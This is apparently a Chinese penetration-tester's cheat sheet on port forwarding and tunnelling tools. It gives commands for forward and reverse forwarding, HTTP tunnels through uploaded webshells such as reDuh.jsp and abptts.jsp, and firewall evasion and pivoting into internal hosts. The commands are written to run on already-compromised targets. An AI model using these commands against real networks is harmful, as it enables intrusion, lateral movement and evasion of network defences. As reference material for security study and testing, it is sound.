端口转发(隧道)工具合集记录
正向端口转发(重定向流量) 1.netsh 2.iptables 3.socat 4.lcx 5.htran 6.ew 7.termite 8.portmap 9.rtcp 10.FPipe 11.portfwd 12.rinetd 13.powershell 14.ssh 15.passport 16.netcat 反向端口转发 1.ew 2.htran 3.lcx 4.portmap 5.ssh webshell类端口转发 1.ReDuh 2.ABPTTS 3.Tunna 第三方自建内网穿透工具 1.ngork 2.nps 3.frp 4.lanproxy 5.holer
======================================================================================
netsh interface portproxy add v4tov4 listenport=8833 connectport=3389 connectaddress=10.0.1.251 protocol=tcp
表示本地监听8833端口,将流量转发到10.0.1.251的3389端口,流量转发也可以理解为重定向流量
netsh interface portproxy dump
查看端口转发
netsh interface portproxy delete v4tov4 listenport=8833
删除端口转发
iptables
添加路由转发
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables的INPUT链配置允许放行
iptables -P INPUT ACCEPT
添加转发规则
iptables -t nat -A PREROUTING -d 10.0.1.76 -p tcp -m tcp --dport 8833 -j DNAT --to-destination 10.0.1.251:3389
告诉其进来之后的流量要从转给10.0.1.76上回去
iptables -t nat -A POSTROUTING -d 10.0.1.251 -p tcp -m tcp --dport 3389 -j SNAT --to-source 10.0.1.76
防火墙策略放通
iptables -A FORWARD -o ens199 -d 10.0.1.251 -p tcp --dport 3389 -j ACCEPT
保存iptables服务然后重启
/etc/init.d/iptables save && /etc/init.d/iptables restart
同样可以利用类似上面操作方式转发ssh端口
iptables -t nat -A PREROUTING -d 192.168.1.6 -p tcp -m tcp --dport 2222 -j DNAT --to-destination 192.168.1.5:22
iptables -t nat -A POSTROUTING -d 192.168.1.5 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.1.6
iptables -A FORWARD -o eth2 -d 192.168.1.5 -p tcp --dport 22 -j ACCEPT
/etc/init.d/iptables save && /etc/init.d/iptables restart
socat
地址:http://www.dest-unreach.org/socat/
可以直接在kali上使用apt-get install socat进行安装
socat TCP4-LISTEN:8833,reuseaddr,fork TCP4:10.0.1.251:3389
lcx
lcx -tran 8833 10.0.1.251 3389
htran
htran -p tran 8833 10.0.1.251 3389
EW 此工具官方已经不更新了,作者反馈危害很大,并且已经不提供下载地址了
该工具共有6中命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
工具地址:http://rootkiter.com/EarthWorm
ew -s lcx_tran -l 8833 -f 10.0.1.251 -g 3389
Termite
agent_linux64 -l 8833
agent_linux64 -c 10.0.1.251 -p 8833
agent_win32.exe -c 10.0.1.251 p 8833
show
goto 2
lcxtran 3388 10.0.1.252 3389
portmap linux环境下的lcx
linux_portmap -m 1 -p1 8833 -h2 10.0.1.251 -p2 3389
rtcp
rtcp.py 1:10001 l:10002 表示在本地监听两个端口10001和10002
rtcp.py c:localhost:22 c:112.112.11.1:10001
ssh -p 10002 112.112.11.1
https://github.com/knownsec/rtcp 具体可参考官方的示例
FPipe
这个只适合Windows不是太好用
Fpipe.exe -l 8833 -r 3389 10.0.1.251 -v
portfwd
metasploit中的工具
portfwd add -l 8833 -r 10.0.1.251 -p 3389
rinetd
挺好用的,地址:http://www.boutell.com/rinetd
同样是正向端口转发,也可以理解为流量重定向
powershell
PS>Powershell -exec -bypass
PS>Import-Module .\Invoke-SocksProxy.psm1
PS>Invoke-PortFwd -BindPort 8833 -DestHost 10.0.1.251 -DestPort 3389
ssh正向tcp端口加密转发
这里就是经常说的ssh本地端口转发
相应的参数说明和示例如下:
ssh -CfNg -L 8833:127.0.0.1:2222 user@ip //VPS 本地访问VPS:8080就是内网的22端口
-C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
-f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
-D:动态转发,即socks代理
-p:指定远程ssh服务端口
-n:后台运行
-p:安静模式,不要显示任何debug信息
操作之前先检查下ssh的配置,如果有密钥互信也是可以的,没有就密码认证
# vim /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 断开
PasswordAuthentication yes
# systemctl restart sshd
ssh -CfNg -L 0.0.0.0:8833:10.0.1.251:3389 root@10.0.1.87 -p 22
然后mstsc 10.0.1.251即可
或者
rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768
netcat
ncat -l 8833 | ncat 10.0.1.251 3389
============================================================================================================================
反向端口转发
ew
本机 ip 10.0.1.87
ew -s lcx_listen -l 8833 -e 3308
目标被控制机器执行
ew -s lcx_slave -d 10.0.1.87 -e 3308 -f 10.0.1.251 -g 3389
mstsc 127.0.0.1 8833
htran
这个是多线程包转发,socks5 端口复用socks5和反连socks5
本机执行
htran -p -listen 53 8833
目标机器执行
htran -p -slave 10.0.1.87 53 10.0.1.251 3389
mstsc 127.0.0.1 8833
lcx
本机执行
lcx -listen 53 8833
目标主机执行
lcx -slave 10.0.1.87 53 10.0.1.251 3389
mstsc 127.0.0.1 8833
portmap
本机执行
linux_portmap -m 2 -p1 53 -p2 8833
目标主机执行
linux_portmap -m 3 -h1 10.0.1.87 -p1 53 -h2 10.0.1.86 -p2 22
ssh 127.0.0.1 -l root -p 8833
ssh远程端口转发
ssh -CfNg -R 0.0.0.0:53:10.0.1.251:3389 root@10.0.1.87 -p 22
这里需要说明一下,在ssh的远程端口转发中即使添加了参数-g也不能将隧道建立之后在本地监听0.0.0.0的IP地址,所以此参数在远程端口转发中是无效的,不管加与不加,成功建立隧道都是本地监听IP地址127.0.0.1 所以为了解决这个问题,就需要配合端口重定向的技术来解决,通常使用rinet来解决
vim /etc/rinetd.conf
编辑此配置文件添加转发规则
0.0.0.0 8833 127.0.0.1 53
上述添加完成需要重启rinetd服务
netstat -tunlpa | egrep "53|8833"
mstsc 10.0.1.87:8833
==========================================================================================================================
Webshell端口转发
ReDuh是SensePost在BlackHat USA 2008发布的关于隧道数据进出网络工具。ReDuh是一种可用于通过有效形成的HTTP请求创建TCP电路的工具。从本质上讲,这意味着如果我们可以在服务器上上传JSP / PHP / ASP页面,我们可以轻松地连接到该服务器后面的主机
默认的情况下会监听1010端口
前提是已经拿到目标的webshell,然后上传reDuh.jsp
然后本地客户端去连接
java -jar reDuhClient/dist/reDuhClient.jar http://10.0.1.87/reDuh.jsp
netstat -tlunp | grep ":1010"
使用nc去连接
nc -nv 127.0.0.1 1010
[createTunnel]2222:10.0.1.86:22
然后ssh连接
ssh 127.0.0.1 -l root -p 2222
此软件对应的升级版:https://github.com/NoneNotNull/reGeorg
ABPTTS
ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进 行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行 RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来 逃避防火墙。与其它http隧道不同的是,abptts是全加密
安装依赖环境
pip install pycrypto 加密库,整个通信数据加密基本都要靠这个库来实现
pip install httplib2
生成webshell服务端
python abpttsfactory.py -o webshell
上传到目标,进行访问
curl http://10.0.1.87/abptts.jsp
客户端连接服务端打通隧道
python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:8833/10.0.1.251:3389
远程连接
rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768
也可以将目标22端口转出来
#python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:2228/10.0.1.92:22
然后使用ssh的动态端口转发打通隧道
ssh -qngfNT -D 6688 root@127.0.0.1 -p 2228
proxychains socks5 127.0.0.1 6688
上述搞完了,就可以直接通过ssh隧道技术连接目标内网的其他主机的22端口
proxychains ssh root@10.0.1.85
Tunna
Tunna是一款将TCP通信流量封装在HTTP协议的工具,适用于在有防火墙的环境中突破网络限制
第三方自建的内网穿透工具
ngrokngrok 是一个反向代理,通过在公共端点和本地运行的 Web 服务器之间建立一个安全的通道,实现内网主机的服务可以暴露给外网
国内版本 https://www.ngrok.cc/ ,比较简单,注册账户然后配置一下服务端,从此网站上下载客户端本地运行配置即可
国外版本 https://ngrok.com/ 开源项目地址:https://github.com/inconshreveable/ngrok
nps
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端
开源地址:https://github.com/cnlh/nps
frp
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透,常用用于内网渗透
开源项目地址:https://github.com/fatedier/frp
Lanproxy
lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,目前仅支持tcp流量转发,可支持任何tcp上层协议
开源项目地址:https://github.com/ffay/lanproxy-go-client
Holer
Holer是一个将局域网中的应用映射到公网访问的端口映射软件,支持转发基于TCP协议的报文
开源项目地址:https://github.com/wisdom-projects/holer
natapp
官方地址:https://natapp.cn/
dog-tunnel
dog-tunnel基于kcp的p2p端口映射工具,同时支持socks5代理
开源项目地址:https://github.com/vzex/dog-tunnel
参考
https://xz.aliyun.com/t/142